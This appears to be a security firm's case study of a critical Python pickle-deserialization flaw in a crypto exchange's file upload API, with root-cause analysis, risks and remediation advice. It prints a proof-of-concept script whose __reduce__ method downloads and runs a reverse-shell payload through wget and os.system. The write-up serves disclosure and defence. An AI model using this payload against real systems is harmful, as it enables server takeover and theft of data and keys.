Remote Code Execution via Unsafe File Upload

Service: Web Application Pentest
Industry: Crypto Exchange
Region: Spain
Background
A security audit of a crypto exchange revealed a critical vulnerability in its backend infrastructure. Although the primary focus was on the on-chain smart contracts, auditors discovered a severe flaw in the file upload API. The vulnerability was rated Severity: Critical with a CVSS base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This case highlights how flaws in off‑chain services can undermine a project’s security, even if the smart contracts themselves are bug‑free.
Severity: Critical
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Module: File Upload API
Exploit Complexity: Low
Discovery — Reproducing Remote Code Execution
The audit began by inspecting the file upload API responsible for handling user documents. By analyzing server-side behavior and source code, we discovered that uploaded files were read and passed directly into cPickle.loads().
Exploit POC:
#!/usr/bin/python
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
import cPickle
import sys
import base64
class PickleRce(object):
def __reduce__(self):
import os
import urllib2
cmd = 'wget [link to reverse tcp]; ./reverse_tcp'
return (os.system,( cmd, ))
#cPickle.loads(cPickle.dumps(PickleRce()))
open('payload', 'wb+').write(cPickle.dumps(PickleRce()))
Upload Test Flow:
- Crafted a malicious object in Python with a custom __reduce__ method.
- Serialized it using cPickle.dumps() and saved the result to a binary payload.
- Uploaded the binary payload via the platform’s file upload endpoint.
- The backend deserialized the data using cPickle.loads() without validation.
- This led to command execution on the server, confirming RCE.
Technical Root Cause
The root cause was trusting Python’s insecure pickle format. The pickle (and cPickle) module is inherently unsafe: the Python documentation warns that it “is not secure” and that unpickling malicious data can execute arbitrary code. In particular, pickle uses an object’s __reduce__ protocol to reconstruct objects, which means a pickle can encode calls to any callable. An attacker can define a class whose __reduce__ returns something like (subprocess.Popen, (cmd,)), causing the unpickler to invoke that call. In this case, the malicious pickle’s __reduce__ returned a subprocess (or os.system) invocation, injecting a shell command into the deserialization process. Because the application did no validation on the uploaded data, this allowed arbitrary code execution on the server.
Real-World Risks
Exploiting this flaw could let attackers completely compromise the system, for example:
- A. Remote Shell Access: The attacker gains arbitrary command execution on the server (a full remote shell).
- B. Lateral Movement in Infrastructure: From the compromised host, an attacker can pivot to other internal systems and escalate privileges.
- C. Data Theft and Server Control: Sensitive files, databases or secrets on the server (logs, configs, user data) can be stolen or tampered with, effectively giving the attacker full server control.
- D. Private Key Exposure (if present on the server): For example, if deployment scripts or backups contain wallet credentials, these could be extracted.
Recommendations
- Use Safe Serialization: Do not use cPickle (or pickle) on untrusted input. Instead, use safe formats such as JSON or protobufs for data interchange, which do not allow code execution.
- Validate and Sanitize Inputs: Rigorously check uploaded files and API inputs. Enforce strict file type checks, content validation, and size limits. As industry experts note, never blindly trust incoming data – always sanitize and verify any payload from untrusted sources.
- Isolate the Upload Handler: Run file processing in a restricted environment (e.g. a separate container or with minimal permissions) so that if an exploit occurs, its impact is contained. Apply the principle of least privilege to the upload service to limit potential damage.
Conclusion
This incident underscores that off‑chain logic can be just as critical as on‑chain code. The industry’s heavy focus on smart contracts can “hide a deeper, more pervasive threat” in neglected Web2 components. In fact, experts warn that a “single weakness” in off-chain infrastructure can cause irreversible damage to the blockchain ecosystem. Robust auditing must include backend services, APIs and serialization routines – not just the blockchain code – to ensure overall system security.
All identifiers, domains, and user data in this case study have been anonymized to preserve client confidentiality.
Other Services
Insomnia Security Scanner
AI-powered web application security scanner by CQR. Automated vulnerability discovery, exploit verification, and detailed reporting for modern applications.
Learn moreInfrastructure Protection by CRYEYE
Security audits via CryEye provide enterprise information security, protecting the entire infrastructure.
Learn morePenetration Testing
Find vulnerabilities across your entire business infrastructure before hackers do! At penetration testing consulting, we will select pentest methods and other custom cybersecurity recommendations for your business.
Learn moreSocial Engineering
Simulate real-world phishing, vishing, and pretexting attacks to measure and improve your team's security awareness and response capabilities.
Learn morePerformance Testing
All kinds of load and performance testing of your system from the CQR online security company.
Learn moreAI-Powered Vulnerability Assessment
Leverage artificial intelligence to discover, prioritize, and remediate vulnerabilities across your digital assets faster and more accurately than traditional scanners.
Learn moreCloud Security Audit (AWS / GCP / Azure)
Comprehensive security review of your cloud environments — IAM policies, network controls, data exposure, and misconfigurations across all major cloud platforms.
Learn moreDevSecOps Integration
Embed security into every stage of your CI/CD pipeline. Automated SAST, DAST, SCA, and secret scanning so vulnerabilities are caught before they reach production.
Learn moreAPI Security Testing
In-depth testing of REST, GraphQL, and SOAP APIs for authentication flaws, authorization bypasses, injection vulnerabilities, and data leakage risks.
Learn moreMobile Application Penetration Testing
Manual and automated security testing for iOS and Android applications — reverse engineering, runtime analysis, traffic interception, and backend API assessment.
Learn moreIoT Security Assessment
Evaluate firmware, communication protocols, cloud backends, and physical interfaces of IoT devices to identify vulnerabilities before attackers do.
Learn moreBlockchain & Smart Contract Audit
Formal verification and manual code review of smart contracts on Ethereum, Solana, and other chains. Detect reentrancy, overflow, and logic flaws before deployment.
Learn moreRed Team Operations
Advanced adversary simulation using real attacker TTPs (MITRE ATT&CK) to test your detection, response, and overall security posture under realistic conditions.
Learn moreThreat Intelligence & Monitoring
Continuous monitoring of threat feeds, dark web, and attacker infrastructure to provide actionable intelligence specific to your organization and industry.
Learn moreZero Trust Architecture Review
Assess and design your Zero Trust security model — identity verification, micro-segmentation, least-privilege access, and continuous validation controls.
Learn moreCompliance Consulting (PCI DSS / SOC 2 / GDPR)
Expert guidance to achieve and maintain compliance with major security frameworks. Gap analysis, remediation roadmaps, and audit-readiness support.
Learn moreDark Web Monitoring
Continuous surveillance of dark web forums, marketplaces, and breach databases for leaked credentials, sensitive data, or mentions of your organization.
Learn morePhishing Simulation & Awareness Training
Controlled phishing campaigns combined with interactive security awareness training to build a human firewall across your entire organization.
Learn moreSupply Chain Security Audit
Assess third-party vendor risks, open-source dependencies, and software supply chain integrity to prevent attacks like SolarWinds and Log4Shell.
Learn moreContainer & Kubernetes Security
Security review of Docker images, Kubernetes clusters, RBAC policies, network policies, and runtime configurations to harden your container infrastructure.
Learn moreWeb Application Firewall (WAF) Deployment
Professional WAF setup, rule tuning, and ongoing management to block SQL injection, XSS, CSRF, and other OWASP Top 10 threats in real time.
Learn moreBug Bounty Program Management
Full lifecycle management of your bug bounty program — scope definition, researcher coordination, triage, validation, and remediation tracking.
Learn moreOSINT Investigation Services
Open-source intelligence gathering on individuals, organizations, and infrastructure. Ideal for pre-engagement recon, fraud investigation, and competitive analysis.
Learn moreDigital Forensics & Incident Response
Rapid response to security breaches — evidence collection, malware analysis, attacker timeline reconstruction, and actionable remediation recommendations.
Learn more